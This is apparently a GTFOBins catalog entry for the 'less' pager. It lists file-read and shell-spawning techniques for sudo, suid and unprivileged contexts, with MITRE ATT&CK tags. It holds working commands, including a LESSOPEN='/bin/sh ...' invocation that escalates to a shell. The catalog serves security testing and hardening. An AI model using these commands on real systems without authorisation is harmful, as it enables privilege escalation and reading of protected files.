Catalog GTFOBins

GTFO · Tool

less

24 techniques Linux · macOSGTFOBins GPL-3.0

file-read

File ReadPrivilege Escalation LinuxmacOS

This can be used to read another file, e.g., when invoked as a pager with some fixed content.

less /etc/hosts
:e /path/to/input-file
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation LinuxmacOS

This can be used to read another file, e.g., when invoked as a pager with some fixed content.

less /etc/hosts
:e /path/to/input-file
Context
suid
Native
file-read
MITRE
T1005

file-read

File Read LinuxmacOS

This can be used to read another file, e.g., when invoked as a pager with some fixed content.

less /etc/hosts
:e /path/to/input-file
Context
unprivileged
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation LinuxmacOS

This can be used to read another file.

LESSOPEN='echo /path/to/input-file # %s' less /etc/hosts
Context
sudo
Native
file-read
MITRE
T1005

file-read

File Read LinuxmacOS

This can be used to read another file.

LESSOPEN='echo /path/to/input-file # %s' less /etc/hosts
Context
unprivileged
Native
file-read
MITRE
T1005

shell

ExecutionPrivilege Escalation LinuxmacOS

The optional `reset` command is needed to receive the echo back of the typed keystrokes.

LESSOPEN="/bin/sh -s 1>&0 2>&0 # %s" less /etc/hosts
reset
Context
sudo
Native
shell
MITRE
T1059

shell

Execution LinuxmacOS

The optional `reset` command is needed to receive the echo back of the typed keystrokes.

LESSOPEN="/bin/sh -s 1>&0 2>&0 # %s" less /etc/hosts
reset
Context
unprivileged
Native
shell
MITRE
T1059